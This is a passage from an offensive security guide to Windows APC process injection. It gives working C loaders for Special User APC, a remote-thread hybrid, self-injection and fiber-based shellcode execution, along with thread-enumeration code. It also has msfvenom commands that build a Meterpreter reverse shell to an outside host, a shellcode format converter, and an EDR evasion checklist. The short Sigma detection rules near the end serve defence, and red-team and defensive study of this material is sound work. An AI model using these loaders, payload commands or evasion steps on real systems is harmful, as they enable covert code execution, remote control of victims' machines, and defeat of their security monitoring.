typedef NTSTATUS (NTAPI *pNtQueueApcThreadEx2)(
    HANDLE         ThreadHandle,
    HANDLE         ReserveHandle,
    ULONG          ApcFlags,        // Key: QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
    PVOID          ApcRoutine,
    PVOID          SystemArgument1,
    PVOID          SystemArgument2,
    PVOID          SystemArgument3
);

// APC Flags:
#define QUEUE_USER_APC_FLAGS_NONE              0x0
#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC  0x1  // ← This is the magic flag

7.3 Implementation (C — Dynamic Resolution)

// special_user_apc.c — NtQueueApcThreadEx with Special User APC flag
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI *pNtQueueApcThreadEx)(
    HANDLE ThreadHandle,
    HANDLE ReserveHandle,
    ULONG  ApcFlags,
    PVOID  ApcRoutine,
    PVOID  SystemArgument1,
    PVOID  SystemArgument2,
    PVOID  SystemArgument3
);

#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC 0x1
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

unsigned char shellcode[] = { /* shellcode bytes */ 0xcc };
SIZE_T shellcode_len = sizeof(shellcode);

int main(int argc, char* argv[]) {
    if (argc < 3) {
        printf("Usage: %s <pid> <tid>\n", argv[0]);
        return 1;
    }
    DWORD target_pid = (DWORD)atoi(argv[1]);
    DWORD target_tid = (DWORD)atoi(argv[2]);

    // ── Resolve NtQueueApcThreadEx from ntdll ────────────────
    // Note: For real use, use direct syscall (SysWhispers) to avoid hook
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtQueueApcThreadEx NtQueueApcThreadEx_fn = (pNtQueueApcThreadEx)
        GetProcAddress(hNtdll, "NtQueueApcThreadEx");

    if (!NtQueueApcThreadEx_fn) {
        printf("[-] NtQueueApcThreadEx not found (check Windows version >= 1809)\n");
        return 1;
    }
    printf("[+] NtQueueApcThreadEx: 0x%p\n", NtQueueApcThreadEx_fn);

    // ── Open process, allocate, write shellcode ──────────────
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
        FALSE, target_pid
    );
    LPVOID remote_buf = VirtualAllocEx(hProcess, NULL, shellcode_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(hProcess, remote_buf, shellcode, shellcode_len, NULL);

    DWORD old;
    VirtualProtectEx(hProcess, remote_buf, shellcode_len, PAGE_EXECUTE_READ, &old);

    printf("[+] Shellcode at: 0x%p\n", remote_buf);

    // ── Open thread ──────────────────────────────────────────
    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, target_tid);
    if (!hThread) {
        printf("[-] OpenThread failed: %lu\n", GetLastError());
        return 1;
    }

    // ── Queue SPECIAL USER APC ───────────────────────────────
    // ReserveHandle = NULL → Special User APC path
    // ApcFlags = QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC (0x1)
    NTSTATUS status = NtQueueApcThreadEx_fn(
        hThread,
        NULL,                                   // ReserveHandle
        QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,  // ← Special User APC flag
        (PVOID)remote_buf,                      // APC routine (shellcode)
        NULL,                                   // Arg1
        NULL,                                   // Arg2
        NULL                                    // Arg3
    );

    if (NT_SUCCESS(status)) {
        printf("[+] Special User APC queued (no alertable state required)\n");
        printf("[*] Shellcode will execute at next kernel exit\n");
    } else {
        printf("[-] NtQueueApcThreadEx failed: 0x%08X\n", status);
    }

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

[OPSEC] NtQueueApcThreadEx with Special User APC is less well-known than QueueUserAPC but is increasingly monitored by advanced EDRs. ETW logs the event regardless of the delivery mechanism.


8. APC + CreateRemoteThread Hybrid

What it means: A hybrid technique where you create a remote thread in the target process but give it a benign entry point (e.g., LoadLibraryA, SleepEx) — not shellcode directly. The thread's only purpose is to immediately enter an alertable wait state (SleepEx(INFINITE, TRUE)), at which point it processes the shellcode APC you've already queued. This avoids some detection signatures of classic CRT-based injection while guaranteeing an alertable thread exists.

8.1 Hybrid Implementation (C)

// hybrid_apc.c — CreateRemoteThread → SleepEx → APC execution
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = { /* shellcode bytes */ 0xcc };
SIZE_T shellcode_len = sizeof(shellcode);

int main(int argc, char* argv[]) {
    if (argc < 2) { printf("Usage: %s <pid>\n", argv[0]); return 1; }
    DWORD pid = (DWORD)atoi(argv[1]);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) { printf("[-] OpenProcess: %lu\n", GetLastError()); return 1; }

    // ── Allocate and write shellcode ─────────────────────────
    LPVOID remote_sc = VirtualAllocEx(hProcess, NULL, shellcode_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(hProcess, remote_sc, shellcode, shellcode_len, NULL);
    DWORD old;
    VirtualProtectEx(hProcess, remote_sc, shellcode_len, PAGE_EXECUTE_READ, &old);
    printf("[+] Shellcode at: 0x%p\n", remote_sc);

    // ── Queue APC BEFORE creating the thread ─────────────────
    // We need a thread handle — but thread doesn't exist yet.
    // Strategy: Create thread first (to get TID), then queue APC.
    // OR: Create thread pointing to SleepEx, queue APC after.

    // Get SleepEx address (same in all processes — ntdll/kernel32 are at same VA)
    LPVOID pSleepEx = GetProcAddress(GetModuleHandleA("kernel32.dll"), "SleepEx");
    printf("[+] SleepEx: 0x%p\n", pSleepEx);

    // Create remote thread pointing to SleepEx(INFINITE, TRUE)
    // We pass TRUE as the alertable flag via the thread argument
    // Note: CreateRemoteThread's lpParameter becomes argument to thread func
    // SleepEx(DWORD ms, BOOL alertable) — we need to pass both args.
    // Trick: use a small stub or shellcode that calls SleepEx(INFINITE, TRUE)

    // Alertable sleep stub (x64):
    // sub rsp, 28h           ; align stack
    // mov ecx, 0FFFFFFFFh   ; INFINITE
    // mov edx, 1            ; alertable = TRUE
    // call SleepEx           ; relative call (patch address)
    // add rsp, 28h
    // ret
    unsigned char sleep_stub[] = {
        0x48, 0x83, 0xEC, 0x28,                         // sub rsp, 28h
        0xB9, 0xFF, 0xFF, 0xFF, 0xFF,                   // mov ecx, 0xFFFFFFFF (INFINITE)
        0xBA, 0x01, 0x00, 0x00, 0x00,                   // mov edx, 1 (alertable)
        0x48, 0xB8, 0x00, 0x00, 0x00, 0x00,
                    0x00, 0x00, 0x00, 0x00,             // mov rax, [SleepEx address — patch below]
        0xFF, 0xD0,                                     // call rax
        0x48, 0x83, 0xC4, 0x28,                         // add rsp, 28h
        0xC3                                            // ret
    };
    // Patch SleepEx address into stub at offset 16
    *(UINT64*)(sleep_stub + 16) = (UINT64)pSleepEx;

    LPVOID remote_stub = VirtualAllocEx(hProcess, NULL, sizeof(sleep_stub),
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, remote_stub, sleep_stub, sizeof(sleep_stub), NULL);
    printf("[+] Sleep stub at: 0x%p\n", remote_stub);

    // Create thread running the alertable sleep stub
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remote_stub,
        NULL,
        0,
        NULL
    );
    if (!hThread) { printf("[-] CreateRemoteThread: %lu\n", GetLastError()); return 1; }
    printf("[+] Remote thread created (calling alertable SleepEx)\n");

    // Give stub time to enter alertable wait
    Sleep(100);

    // Queue APC to the newly created alertable thread
    if (QueueUserAPC((PAPCFUNC)remote_sc, hThread, 0)) {
        printf("[+] APC queued to alertable thread\n");
        printf("[*] Shellcode executing...\n");
    } else {
        printf("[-] QueueUserAPC: %lu\n", GetLastError());
    }

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

[DETECT] This hybrid still triggers Sysmon Event 8 (CreateRemoteThread). The advantage is the payload runs via APC — but the thread creation itself is logged. Consider pairing with process hollowing or Early Bird instead.


9. Self-Injection via APC (Current Process)

What it means: Instead of injecting into another process, queue the APC to a thread within your own process. This avoids OpenProcess entirely (no cross-process handle open) and removes a major detection signal. Common pattern: allocate shellcode in your own process memory, queue APC to your own thread, then call SleepEx(INFINITE, TRUE) to trigger it — shellcode runs in your own context.

9.1 Self-APC Implementation (C)

// self_apc.c — Self-injection via APC into own process/thread
// No OpenProcess, no WriteProcessMemory, no cross-process operations
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {
    // x64 calc.exe shellcode (example)
    0xfc, 0x48, 0x83, 0xe4, 0xf0, /* ... */ 0xc3
};

// APC callback — called when thread processes APC queue
VOID CALLBACK APCCallback(ULONG_PTR param) {
    // param = address of shellcode (passed as dwData in QueueUserAPC)
    void (*shellcode_func)() = (void(*)())param;
    shellcode_func();
}

int main() {
    SIZE_T sc_len = sizeof(shellcode);

    // ── Allocate in OWN process (no VirtualAllocEx needed) ───
    LPVOID local_buf = VirtualAlloc(
        NULL,
        sc_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );
    if (!local_buf) { printf("[-] VirtualAlloc failed\n"); return 1; }

    // ── Copy shellcode ────────────────────────────────────────
    memcpy(local_buf, shellcode, sc_len);

    // ── Change to RX ──────────────────────────────────────────
    DWORD old;
    VirtualProtect(local_buf, sc_len, PAGE_EXECUTE_READ, &old);
    printf("[+] Shellcode at: 0x%p\n", local_buf);

    // ── Queue APC to OWN CURRENT THREAD ──────────────────────
    // GetCurrentThread() returns pseudo-handle — valid for QueueUserAPC
    if (!QueueUserAPC(APCCallback, GetCurrentThread(), (ULONG_PTR)local_buf)) {
        printf("[-] QueueUserAPC: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] APC queued to current thread\n");

    // ── Enter alertable wait → APC dispatched ─────────────────
    printf("[*] Entering SleepEx(alertable) — APC will fire now\n");
    SleepEx(INFINITE, TRUE);   // TRUE = alertable → processes APC queue

    // APCCallback runs → shellcode executes → SleepEx returns WAIT_IO_COMPLETION
    printf("[*] SleepEx returned (APC executed)\n");
    return 0;
}

9.2 Self-APC with Multiple Thread Queuing

// Queue to a worker thread in your own process for cleaner execution
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = { /* shellcode */ 0xcc };

// Worker thread: enters alertable wait immediately
DWORD WINAPI AlertableWorker(LPVOID param) {
    printf("[*] Worker thread started (TID: %lu)\n", GetCurrentThreadId());
    // Enter alertable wait — will process queued APCs
    SleepEx(INFINITE, TRUE);
    return 0;
}

int main() {
    // Allocate and copy shellcode locally
    LPVOID buf = VirtualAlloc(NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(buf, shellcode, sizeof(shellcode));
    DWORD old;
    VirtualProtect(buf, sizeof(shellcode), PAGE_EXECUTE_READ, &old);

    // Create alertable worker thread
    HANDLE hWorker = CreateThread(NULL, 0, AlertableWorker, NULL, 0, NULL);
    if (!hWorker) { printf("[-] CreateThread: %lu\n", GetLastError()); return 1; }
    printf("[+] Worker thread created\n");

    Sleep(50); // Let worker enter alertable state

    // Queue APC to worker thread
    if (QueueUserAPC((PAPCFUNC)buf, hWorker, 0)) {
        printf("[+] APC queued to worker thread\n");
    }

    WaitForSingleObject(hWorker, 5000);
    CloseHandle(hWorker);
    return 0;
}

[OPSEC] Self-APC generates almost no cross-process telemetry. The main signals are local VirtualAlloc with PAGE_EXECUTE_READ (or the write+protect pattern) and the QueueUserAPC call on self. Still visible to AMSI and ETW in-process monitoring.


10. Shellcode Payload Preparation

What it means: Raw shellcode must be prepared correctly before APC injection. Key concerns: position-independent code, null byte avoidance (for string-based transfers), memory permission flow (RW → RX), and staged vs stageless delivery. APC injection accepts any shellcode that can run in the context of the target thread — C2 stagers (Sliver, Havoc, Cobalt Strike, Meterpreter) or custom payloads all work.

10.1 Generate Shellcode (msfvenom)

# x64 reverse TCP (Meterpreter) — raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f raw -o payload.bin

# x64 exec (calc.exe) — for testing
msfvenom -p windows/x64/exec \
    CMD="calc.exe" \
    -f c          # C array format

# x64 Sliver shellcode (generate in Sliver console)
# sliver> generate --os windows --arch amd64 --format shellcode --save /tmp/sliver.bin

# x64 Havoc shellcode
# Havoc → Payload → Generate → Shellcode

# Check shellcode entropy and null bytes
python3 -c "
d = open('payload.bin','rb').read()
nulls = d.count(b'\x00')
print(f'Size: {len(d)} bytes | Null bytes: {nulls}')
from collections import Counter
import math
c = Counter(d); n = len(d)
e = -sum((v/n)*math.log2(v/n) for v in c.values())
print(f'Entropy: {e:.4f}')
"

10.2 Shellcode Format Converter

#!/usr/bin/env python3
# sc_format.py — Convert raw shellcode to various output formats

import sys

def raw_to_c_array(sc: bytes, var_name: str = "shellcode") -> str:
    hex_bytes = ", ".join(f"0x{b:02x}" for b in sc)
    lines = []
    lines.append(f"unsigned char {var_name}[] = {{")
    for i in range(0, len(sc), 12):
        chunk = sc[i:i+12]
        lines.append("    " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
    lines.append("};")
    lines.append(f"SIZE_T {var_name}_len = {len(sc)};")
    return "\n".join(lines)

def raw_to_csharp(sc: bytes, var_name: str = "shellcode") -> str:
    hex_bytes = ", ".join(f"0x{b:02x}" for b in sc)
    lines = [f"byte[] {var_name} = new byte[{len(sc)}] {{"]
    for i in range(0, len(sc), 12):
        chunk = sc[i:i+12]
        lines.append("    " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
    lines.append("};")
    return "\n".join(lines)

def raw_to_powershell(sc: bytes, var_name: str = "shellcode") -> str:
    hex_bytes = ",".join(f"0x{b:02x}" for b in sc)
    return f"[Byte[]] ${var_name} = {hex_bytes}"

def raw_to_base64(sc: bytes) -> str:
    import base64
    return base64.b64encode(sc).decode()

if __name__ == "__main__":
    sc = open(sys.argv[1], "rb").read()
    fmt = sys.argv[2] if len(sys.argv) > 2 else "c"

    if fmt == "c":
        print(raw_to_c_array(sc))
    elif fmt == "cs":
        print(raw_to_csharp(sc))
    elif fmt == "ps1":
        print(raw_to_powershell(sc))
    elif fmt == "b64":
        print(raw_to_base64(sc))

# Usage:
# python3 sc_format.py payload.bin c    → C array
# python3 sc_format.py payload.bin cs   → C# byte array
# python3 sc_format.py payload.bin ps1  → PowerShell byte array
# python3 sc_format.py payload.bin b64  → Base64 string

10.3 Memory Permission Flow (OPSEC)

// WRONG (noisy): Allocate RWX immediately
// RWX regions are a top EDR signature — never do this
LPVOID buf = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, buf, shellcode, size, NULL);
// QueueUserAPC pointing to buf ← RWX detected by memory scanner

// CORRECT: RW → write → RX (two-step)
// Step 1: Allocate RW (not executable)
LPVOID buf = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// Step 2: Write shellcode
WriteProcessMemory(hProcess, buf, shellcode, size, NULL);

// Step 3: Change to RX (executable but not writable)
DWORD old_protect;
VirtualProtectEx(hProcess, buf, size, PAGE_EXECUTE_READ, &old_protect);

// Step 4: Queue APC (buf is now RX, shellcode is there)
QueueUserAPC((PAPCFUNC)buf, hThread, 0);

11. Finding Alertable Threads

What it means: Classic APC injection fails if no thread in the target process is in an alertable wait. Before injecting, you need to enumerate threads and identify which ones are (or are likely to be) in alertable state. Several approaches: heuristic (checking thread wait reason via NtQuerySystemInformation), scanning the call stack, or targeting processes known to have alertable threads.

11.1 Enumerate Threads via NtQuerySystemInformation

// find_alertable.c — Find alertable threads using SYSTEM_PROCESS_INFORMATION
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

// Thread wait reason values (from NT internals)
// WrUserRequest (6), WrAlertByThreadId (17) → NOT alertable
// Waiting (5) with alertable flag = alertable
// Most reliable: check WaitReason == 5 (Suspended) or use stack scan

#define SystemProcessInformation 5

typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(
    ULONG   SystemInformationClass,
    PVOID   SystemInformation,
    ULONG   SystemInformationLength,
    PULONG  ReturnLength
);

// Thread wait reasons (WaitReason field in SYSTEM_THREAD_INFORMATION)
const char* WaitReasons[] = {
    "Executive",          // 0  — general kernel wait
    "FreePage",           // 1
    "PageIn",             // 2
    "PoolAllocation",     // 3
    "DelayExecution",     // 4  ← NtDelayExecution (SleepEx alertable!)
    "Suspended",          // 5
    "UserRequest",        // 6  ← WaitForSingleObject (may be alertable)
    "WrExecutive",        // 7
    "WrFreePage",         // 8
    "WrPageIn",           // 9
    "WrPoolAllocation",   // 10
    "WrDelayExecution",   // 11 ← alertable delay
    "WrSuspended",        // 12
    "WrUserRequest",      // 13 ← alertable user request (HIGH CHANCE)
    "WrEventPair",        // 14
    "WrQueue",            // 15 ← IOCP / completion port wait
    "WrLpcReceive",       // 16
    "WrLpcReply",         // 17
    "WrVirtualMemory",    // 18
    "WrPageOut",          // 19
    "WrRendezvous",       // 20
};

void FindAlertableThreads(DWORD target_pid) {
    pNtQuerySystemInformation NtQSI = (pNtQuerySystemInformation)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

    ULONG buf_size = 1024 * 1024;  // 1MB initial buffer
    PVOID buf = HeapAlloc(GetProcessHeap(), 0, buf_size);
    ULONG ret_len = 0;

    NTSTATUS st = NtQSI(SystemProcessInformation, buf, buf_size, &ret_len);
    while (st == 0xC0000004L) {  // STATUS_INFO_LENGTH_MISMATCH
        buf_size = ret_len + 4096;
        buf = HeapReAlloc(GetProcessHeap(), 0, buf, buf_size);
        st = NtQSI(SystemProcessInformation, buf, buf_size, &ret_len);
    }

    SYSTEM_PROCESS_INFORMATION* proc = (SYSTEM_PROCESS_INFORMATION*)buf;
    while (TRUE) {
        if ((DWORD)(ULONG_PTR)proc->UniqueProcessId == target_pid) {
            printf("[*] PID %lu — %lu threads:\n", target_pid, proc->NumberOfThreads);

            SYSTEM_THREAD_INFORMATION* threads = (SYSTEM_THREAD_INFORMATION*)(proc + 1);
            for (ULONG i = 0; i < proc->NumberOfThreads; i++) {
                DWORD tid = (DWORD)(ULONG_PTR)threads[i].ClientId.UniqueThread;
                ULONG wait_reason = threads[i].WaitReason;
                ULONG thread_state = threads[i].ThreadState;  // 5 = Waiting

                const char* reason_str = (wait_reason < 21) ? WaitReasons[wait_reason] : "Unknown";

                // Heuristic: likely alertable if waiting in DelayExecution or UserRequest
                BOOL likely_alertable = (wait_reason == 4 || wait_reason == 11 ||
                                         wait_reason == 13 || wait_reason == 6 ||
                                         wait_reason == 15);

                printf("    TID %6lu | State: %lu | WaitReason: %2lu (%s)%s\n",
                    tid, thread_state, wait_reason, reason_str,
                    likely_alertable ? " ← LIKELY ALERTABLE" : "");
            }
            break;
        }
        if (!proc->NextEntryOffset) break;
        proc = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)proc + proc->NextEntryOffset);
    }
    HeapFree(GetProcessHeap(), 0, buf);
}

int main(int argc, char* argv[]) {
    if (argc < 2) { printf("Usage: %s <pid>\n", argv[0]); return 1; }
    FindAlertableThreads((DWORD)atoi(argv[1]));
    return 0;
}

11.2 Stack-Based Alertable Check (Via Thread Context)

// More reliable: suspend thread, walk its call stack,
// check if RIP is inside an alertable wait function in ntdll

// Known RVAs (or exports) to check against:
// ntdll!NtDelayExecution          ← SleepEx → this
// ntdll!NtWaitForSingleObject     ← WaitForSingleObjectEx → this
// ntdll!NtWaitForMultipleObjects  ← WaitForMultipleObjectsEx → this
// ntdll!ZwDelayExecution          ← alias

// Check if thread's current IP is inside ntdll wait functions:
BOOL IsThreadAlertable(HANDLE hThread, HANDLE hProcess) {
    // Suspend the thread to safely read its context
    if (SuspendThread(hThread) == (DWORD)-1) return FALSE;

    CONTEXT ctx = { .ContextFlags = CONTEXT_CONTROL };
    BOOL alertable = FALSE;

    if (GetThreadContext(hThread, &ctx)) {
        HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
        PVOID ntdll_base = (PVOID)hNtdll;

        // Check if RIP falls within known alertable wait functions
        // (simplified — real implementation walks stack)
        UINT64 rip = ctx.Rip;
        UINT64 ntdll_start = (UINT64)ntdll_base;
        UINT64 ntdll_end   = ntdll_start + 0x200000;  // rough ntdll size

        // More precise: check against function boundaries of NtDelayExecution etc.
        PVOID pNtDelay = GetProcAddress(hNtdll, "NtDelayExecution");
        PVOID pNtWait  = GetProcAddress(hNtdll, "NtWaitForSingleObject");
        PVOID pNtWaitM = GetProcAddress(hNtdll, "NtWaitForMultipleObjects");

        // If RIP is within ~0x20 bytes of the stub start → currently in syscall
        alertable = (
            (rip >= (UINT64)pNtDelay && rip < (UINT64)pNtDelay + 0x20) ||
            (rip >= (UINT64)pNtWait  && rip < (UINT64)pNtWait  + 0x20) ||
            (rip >= (UINT64)pNtWaitM && rip < (UINT64)pNtWaitM + 0x20)
        );
    }
    ResumeThread(hThread);
    return alertable;
}

[OPSEC] SuspendThread + GetThreadContext on a foreign process thread is itself a detectable pattern. Use the NtQuerySystemInformation heuristic approach (no thread suspension needed) for lower noise.


12. APC Injection via Fibers

What it means: Fibers are user-mode "mini-threads" that Windows supports natively. A fiber is manually scheduled — it only runs when explicitly switched to via SwitchToFiber(). Red teamers abuse fibers as a shellcode execution primitive: convert a thread to a fiber, allocate a fiber pointing to shellcode, then switch to it. Not APC in the strict sense, but often used in combination with APC-based injection for payload execution, and shares the "no new thread" detection avoidance property.

12.1 Fiber-Based Shellcode Execution (Self)

// fiber_exec.c — Shellcode execution via Windows Fibers
// No new threads, no cross-process operations
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {
    // x64 shellcode here
    0xcc  // int3 — placeholder
};

int main() {
    SIZE_T sc_len = sizeof(shellcode);

    // Allocate RW memory for shellcode
    PVOID sc_mem = VirtualAlloc(NULL, sc_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(sc_mem, shellcode, sc_len);

    // Change to RX
    DWORD old;
    VirtualProtect(sc_mem, sc_len, PAGE_EXECUTE_READ, &old);
    printf("[+] Shellcode at: 0x%p\n", sc_mem);

    // ── Convert current thread to a fiber ────────────────────
    // This is required before calling CreateFiber
    LPVOID main_fiber = ConvertThreadToFiber(NULL);
    if (!main_fiber) {
        printf("[-] ConvertThreadToFiber: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Main fiber: 0x%p\n", main_fiber);

    // ── Create a fiber pointing to shellcode ──────────────────
    LPVOID sc_fiber = CreateFiber(
        0,                          // Default stack size
        (LPFIBER_START_ROUTINE)sc_mem,  // Fiber function = shellcode
        NULL                        // Parameter
    );
    if (!sc_fiber) {
        printf("[-] CreateFiber: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Shellcode fiber: 0x%p\n", sc_fiber);

    // ── Switch to shellcode fiber → executes shellcode ────────
    printf("[*] Switching to shellcode fiber...\n");
    SwitchToFiber(sc_fiber);  // Shellcode runs here

    // If shellcode returns control:
    printf("[*] Fiber returned\n");
    DeleteFiber(sc_fiber);
    return 0;
}

[OPSEC] Fiber-based execution has minimal syscall footprint — no CreateThread, no cross-process calls. However, CreateFiber + SwitchToFiber as a shellcode execution path is a known pattern. Combine with encryption and indirect calls.


13. Kernel APC vs User APC

What it means: Windows has two APC types operating at different privilege levels. User APC (what we've been using) runs in user mode in the thread's context. Kernel APC runs in kernel mode. Understanding the distinction is important for both exploitation and for understanding why certain techniques work or fail.

13.1 Comparison Table

Feature              │ Kernel APC           │ User APC
─────────────────────┼──────────────────────┼────────────────────────
Execution mode       │ Kernel mode (ring 0) │ User mode (ring 3)
Requires alertable?  │ NO                   │ YES (or Special User APC)
Thread state needed  │ Any (not disabled)   │ Alertable wait
APC queue            │ ApcListHead[0]       │ ApcListHead[1]
Delivery timing      │ At any kernel exit   │ At alertable wait
Who can queue        │ Kernel code only     │ Any user-mode process
IRQL                 │ APC_LEVEL (1)        │ PASSIVE_LEVEL (0)
Use for injection    │ Rootkit/driver only  │ Standard technique
Examples             │ I/O completion, APC  │ QueueUserAPC, NtQueueApcThread
                     │  termination signals │ NtQueueApcThreadEx

13.2 APC State in KTHREAD (Kernel Perspective)

KTHREAD (simplified):

KernelApcDisable    ← If != 0: kernel APCs are disabled for this thread
UserApcPending      ← Set to 1 when a user APC is queued
ApcQueueable        ← Must be TRUE to accept APCs

APC delivery guards:
├─ Thread.KernelApcDisable  != 0 → kernel APC blocked
├─ Thread.SpecialApcDisable != 0 → special APC blocked
└─ Thread in critical region    → APCs delayed until exit

When KeInsertQueueApc() is called (kernel):
1. Acquires APC queue spinlock
2. Inserts KAPC into appropriate list (kernel/user)
3. Sets pending flag
4. If thread is alertable (user APC) → alerts the thread
   → Thread wakes from wait → KiDeliverApc() called

14. Detection & Evasion

14.1 Detection Vectors

[DETECT] How defenders identify APC injection:

1. QueueUserAPC / NtQueueApcThread API hooking
   ├─ EDR hooks these in ntdll.dll (user-land hooks)
   ├─ Hook inspects: target thread, APC routine address
   ├─ Red flag: APC routine points to non-module memory
   └─ Bypass: Direct syscalls (see §6)

2. ETW (Event Tracing for Windows)
   ├─ Microsoft-Windows-Kernel-Process: Thread events
   ├─ Thread APC queue events logged at kernel level
   ├─ Cannot be disabled from user mode (kernel provider)
   └─ Bypass: Kernel-level ETW patching (driver/rootkit required)

3. Memory scanning
   ├─ EDR scans for RWX regions (VirtualAllocEx + PAGE_EXECUTE_READWRITE)
   ├─ Unbacked executable memory (not backed by a mapped file/PE)
   ├─ Shellcode signatures in memory
   └─ Bypass: RW→RX allocation, encrypted shellcode, reflective loading

4. OpenProcess on target (for cross-process injection)
   ├─ Sysmon Event 10 (ProcessAccess): Logged when process opened
   ├─ Access mask PROCESS_ALL_ACCESS is highly suspicious
   └─ Bypass: Minimum required rights only; handle inheritance tricks

5. CreateProcess with CREATE_SUSPENDED (Early Bird)
   ├─ CREATE_SUSPENDED flag logged
   ├─ Pattern: CreateProcess(suspended) + WriteProcessMemory + Resume
   ├─ Sequence timing is a detection heuristic
   └─ Bypass: Randomize timing; use legitimate-looking host process

6. Sysmon Event 8 (CreateRemoteThread) — for hybrid only
   ├─ Fired when CreateRemoteThread is called
   └─ Bypass: Don't use CRT — pure APC (Early Bird avoids this)

7. Thread context scanning (call stack)
   ├─ EDR inspects thread call stacks looking for shellcode frames
   ├─ Unbacked return addresses in call stack
   └─ Bypass: Call stack spoofing; return address masking

8. NtQueueApcThreadEx with Special User APC
   ├─ Newer EDRs specifically monitor this flag
   ├─ Much less common in legitimate software
   └─ Bypass: Use standard APC if an alertable thread is available

14.2 Evasion Strategies

[EVASION] How to make APC injection harder to detect:

1. Direct syscalls (bypass ntdll hooks)
   └─ SysWhispers3 / HellsGate / FreshyCalls
   └─ Use for: NtQueueApcThread, NtAllocateVirtualMemory,
               NtWriteVirtualMemory, NtProtectVirtualMemory

2. RW → RX memory flow (no RWX)
   └─ Allocate PAGE_READWRITE → write → VirtualProtect(PAGE_EXECUTE_READ)
   └─ Avoids RWX signature that every EDR looks for

3. Target processes with known alertable threads
   └─ svchost.exe (service threads, I/O completion ports)
   └─ SearchIndexer.exe (constant I/O waits)
   └─ Avoids needing to create CRT or alertable thread yourself

4. PPID spoofing + Early Bird
   └─ Spoof parent process to make spawned process look legitimate
   └─ CreateProcess via UpdateProcThreadAttribute + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
   └─ Combine with Early Bird for stealthiest injection path

5. Encrypted shellcode — decrypt at APC callback time
   └─ Store encrypted blob in allocation
   └─ APC callback: decrypt in-place → execute
   └─ Memory scanner never sees raw shellcode bytes

6. Stomp a writable+executable section of a legitimate module
   └─ Find RX section of a DLL in target (e.g., .text of a big DLL)
   └─ Change protection → RW → write shellcode → back to RX
   └─ Shellcode is now "backed" by a module (looks legitimate)
   └─ Technique: Module Stomping / DLL Hollowing

7. Thread stack spoofing (avoid unbacked frames in call stack)
   └─ Spoof return address so call stack looks clean
   └─ Requires custom shellcode stub or tooling

8. Avoid queuing to ALL threads (noisy)
   └─ Classic APC queues to every thread for reliability
   └─ Better OPSEC: identify one alertable thread and target only it
   └─ Fewer APC queue events = less noise

14.3 Detection Rules (Sigma / Sysmon)

# Sigma — APC injection sequence detection
title: Potential APC Code Injection
status: experimental
logsource:
    category: process_access
    product: windows
detection:
    selection:
        GrantedAccess|contains:
            - '0x1fffff'   # PROCESS_ALL_ACCESS
            - '0x143a'     # VM_WRITE + VM_OPERATION + QUERY + SET_CONTEXT
        CallTrace|contains: 'UNKNOWN'
    condition: selection
level: high

---
title: CreateProcess Suspended Followed by VirtualAllocEx (Early Bird)
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        # Child processes of unusual parents in suspended state are hard
        # to detect via process create events alone.
        # Correlate: process created + immediately WriteProcessMemory + resume
        ParentImage|endswith:
            - '\powershell.exe'
            - '\wscript.exe'
            - '\mshta.exe'
        Image|endswith:
            - '\svchost.exe'
            - '\dllhost.exe'
            - '\RuntimeBroker.exe'
    condition: selection
level: medium

---
# Sysmon config — monitor QueueUserAPC-related thread access
# sysmon_config.xml:
# <ProcessAccess onmatch="include">
#   <GrantedAccess condition="is">0x143a</GrantedAccess>
#   <GrantedAccess condition="is">0x1fffff</GrantedAccess>
# </ProcessAccess>

14.4 EDR Evasion Checklist

Pre-injection:
☐ Use direct syscalls (SysWhispers3) for all NT* API calls
☐ Encrypt shellcode at rest — decrypt only at execution time
☐ Avoid RWX allocations — use RW → write → RX
☐ Choose target with confirmed alertable threads
☐ Spoof PPID if spawning new process (Early Bird)

Injection:
☐ Minimize access rights on OpenProcess / OpenThread
☐ Queue APC to ONE identified alertable thread (not all threads)
☐ Use NtQueueApcThread via direct syscall (not QueueUserAPC)
